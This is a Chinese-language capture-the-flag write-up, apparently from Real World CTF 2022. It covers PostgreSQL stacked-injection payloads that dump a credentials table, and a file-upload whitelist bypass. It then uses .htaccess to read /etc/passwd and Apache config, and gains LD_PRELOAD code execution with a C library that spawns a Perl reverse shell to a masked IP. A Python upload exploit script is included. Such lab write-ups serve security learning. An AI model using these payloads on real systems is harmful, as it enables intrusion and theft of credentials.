hack_into_sky 主要学习的点是postgresql
的注入
测试注入点
' or 0<>'1 ' or 1<>'1 ' or substr('0',1)<>'0 ' or substr('1',1)<>'0 ' or substr(current_database(),3)<>'f ' or substr(current_database(),3)<>'a
测试堆叠注入
';SELECT concat(id,age,name,email,born),1 FROM target where id='1
爆表
';select tablename,schemaname from pg_tables where tablename like 'ta%' limit 1 offset 1;--
字段名
';SELECT column_name,1 FROM information_schema.columns WHERE table_name='target_credentials' limit 1 offset 0;--
爆值
';SELECT concat(id,account,password,access_key,secret_key),1 FROM target_credentials where id ='1
RWDN 有两个端口,并且其中一个有源码,首先看一下check.js,可以发现是一个白名单
Object .keys(req.files).forEach(function (key ) { var filename = req.files[key].name.toLowerCase(); var position = filename.lastIndexOf('.' ); if (position == -1 ) { return next(); } var ext = filename.substr(position); var allowexts = ['.jpg' ,'.png' ,'.jpeg' ,'.html' ,'.js' ,'.xhtml' ,'.txt' ,'.realworld' ]; if ( !allowexts.includes(ext) ){ res.status(400 ).send('Something error.' ); return ; } return next(); }); }; };
要想绕过这里,首先需要搞懂,他是如何检查的,简单搭个demo模拟一下
app.post('/upload' , function (req, res ) { let sampleFile; let uploadPath; let userdir; let userfile; sampleFile = req.files[req.query.formid]; userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5); userfile = sampleFile.name.toString(); if (userfile.includes('/' )||userfile.includes('..' )){ return res.status(500 ).send("Invalid file name" ); } uploadPath = '/uploads/' + userdir + '/' + userfile; sampleFile.mv(uploadPath, function (err ) { if (err) { return res.status(500 ).send(err); } res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile); }); });
文件上传部分非预期解 首先梳理一下流程吧,首先经过check()检查,而检查的时候,是对每一个文件都会进行检查的,然后再根据formid上传文件,如果sample是错的,那么就会导致md5错误,后面也就不会上传了。而这里就有一个逻辑漏洞,还挺巧妙地,感觉挺锻炼思维的。
首先我们看到foreach,那么就意味着他会检查每个文件,但是如果当有个文件无后缀的时候,他就直接到next()接下来就是上传文件阶段,而另一个文件则会返回400,但是他在upload函数内写的是根据formid确定上传文件,也就是说上传两个文件呢,一个为无后缀文件经过校验,到next(),另一个为其他文件但是formid为最终所需要上传的formid。
但是由于报错,无法回显文件的路径,但是可以发现samplefile的值是根据文件的内容以及其他一些信息进行确定(不涉及文件名),所以我们只要上传文件内容相同的两个文件,先获取到第一个文件的文件名即可
虽然会报出error的错误,但是文件已经成功上传了 。
可以任意文件上传,但是不解析php,等脚本,所以就是要修改apache的配置再去打
.htaccess修改配置 之前学过使用其他解析方式,但是这里就是一个默认的apache服务器,连cgi script都不行,首先使用.htaccess的errordocument读一下文件
ErrorDocument 404 %{file:/etc/apache2/apache2.conf}
发现开启了这个组件
ExtFilterDefine gzip mode=output cmd=/bin/gzip
这个组件可以自启动进程,并且.htaccess可以设置环境变量,因此我们可以使用LD_PRELOAD来实现RCE
首先是.so脚本内容
#include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { unsetenv("LD_PRELOAD" ); system("id" ); }
接下来是.htaccess内容
SetEnv LD_PRELOAD /var/www/html/2d29bcb684acfee295dca4287d557044/tlif3.so SetOutputFilter gzip ErrorDocument 404 %{file:/etc/passwd}
最后是.c文件内容(后面编译为.so)
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char ** environ;__attribute__ ((__constructor__)) void preload (void ) { const char * cmdline = "perl -e 'use Socket;$i=\"xxx.xx.xx.xx\";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"bash -i\");};'" ; int i; for (i = 0 ; environ[i]; ++i) { if (strstr (environ[i], "LD_PRELOAD" )) { environ[i][0 ] = '\0' ; } } system(cmdline); }
下面放一下自己的脚本,比较杂乱,主要也是一直没成功,就没想改–
mport requests import res=requests.session() file_content=open('./tlif3.so' ,'rb' ).read() url="http://xx:31337/upload?formid=form-da7de2ee-e90c-4847-8956-9ead32e51fae" headers={ "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Content-Type" : "multipart/form-data; boundary=---------------------------7451049519834705901418075379" , "Connection" : "close" , "Cookie" : "PHPSESSID=b21e009db5586702c41fac89314ddd73; session=3005259290263220013%7CZEZrPpLs4Cf1IPmEi1S%2FgBj3DDa4msw9yaojKNBH6BxtMAxd4vCmixjte2t4QCy2F.EFulu3Nx8SigQj7mvZA." , "Upgrade-Insecure-Requests" : "1" } data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="form-da7de2ee-e90c-4847-8956-9ead32e51fae"; filename="1.txt"\r\nContent-Type: text/plain\r\n\r\n{file_content} \r\n-----------------------------7451049519834705901418075379--""" r=s.post(url, headers=headers, data=data).text path=re.findall('http://47.243.75.225:31338/(.*?)/1.txt' ,r) print(r) filename='tlif3.so' url="http://xx:31337/upload?formid=b" data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="a"; filename="null"\r\nContent-Type: text/plain\r\n\r\nabc\r\n-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="b"; filename="{filename} "\r\nContent-Type: text/plain\r\n\r\n{file_content} \r\n-----------------------------7451049519834705901418075379--""" r=s.post(url, headers=headers, data=data).text print(r) print('http://xx:31338/' +path[0 ]+"/" +filename) so_path="/var/www/html/" +path[0 ]+"/" +filename file_content="""SetEnv LD_PRELOAD """ +so_path+""" SetOutputFilter gzip ErrorDocument 404 %{file:/etc/passwd} """ print(file_content) url="http://1xx:31337/upload?formid=form-da7de2ee-e90c-4847-8956-9ead32e51fae" data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="form-da7de2ee-e90c-4847-8956-9ead32e51fae"; filename="1.txt"\r\nContent-Type: text/plain\r\n\r\n{file_content} \r\n-----------------------------7451049519834705901418075379--""" r=s.post(url, headers=headers, data=data).text path=re.findall('http://xx:31338/(.*?)/1.txt' ,r) print(r) filename='.htaccess' url="http://11xx:31337/upload?formid=b" data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="a"; filename="null"\r\nContent-Type: text/plain\r\n\r\nabc\r\n-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="b"; filename="{filename} "\r\nContent-Type: text/plain\r\n\r\n{file_content} \r\n-----------------------------7451049519834705901418075379--""" r=s.post(url, headers=headers, data=data).text print(r) print('http://110xx0:31338/' +path[0 ]+"/" +filename) url='http://1xx0:31338/' +path[0 ]+"/" print(s.get(url=url).text)
调试了好久好久,最终还是没成功,想了一下原因,大概是因为环境问题吧,问了一下群里师傅们,发现payload里面设置环境变量写的也是正确的,但是却没有成功加载,一步一步排查错误,最后发现是由于linux架构不一样,导致编译以后的so在docker里面无法使用,会报错,而如果是在docker里面写一样的代码,然后编译,劫持LD,发现即可成功使用系统命令
文件上传部分预期解 原理参照一个小哥 在 discord 中发的内容: 如下 the proto file is not checked because Object.keys does not include properties from the prototype, but since the prototype is now an array we can use formid=1 to access that file again in the upload function
upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1") files = { "__proto__": open(upload_file,"r"), "decoy":("decoy","random"), }
解决方案 遇到这个解决问题的话,解决方案可能也只有查看一下版本信息/proc/version
然后去拉一个一样的docker,跑一下
小结一下 1.双文件上传绕过
2.利用htaccess读文件 3.打apche所以读配置文件 4.发现有进程可以劫持——>LD_PRELOAD实现RCE
参考:https://team-su.github.io/passages/2022-1-22-RWCTF/ https://r3kapig.com/writeup/20220125-rwctf4/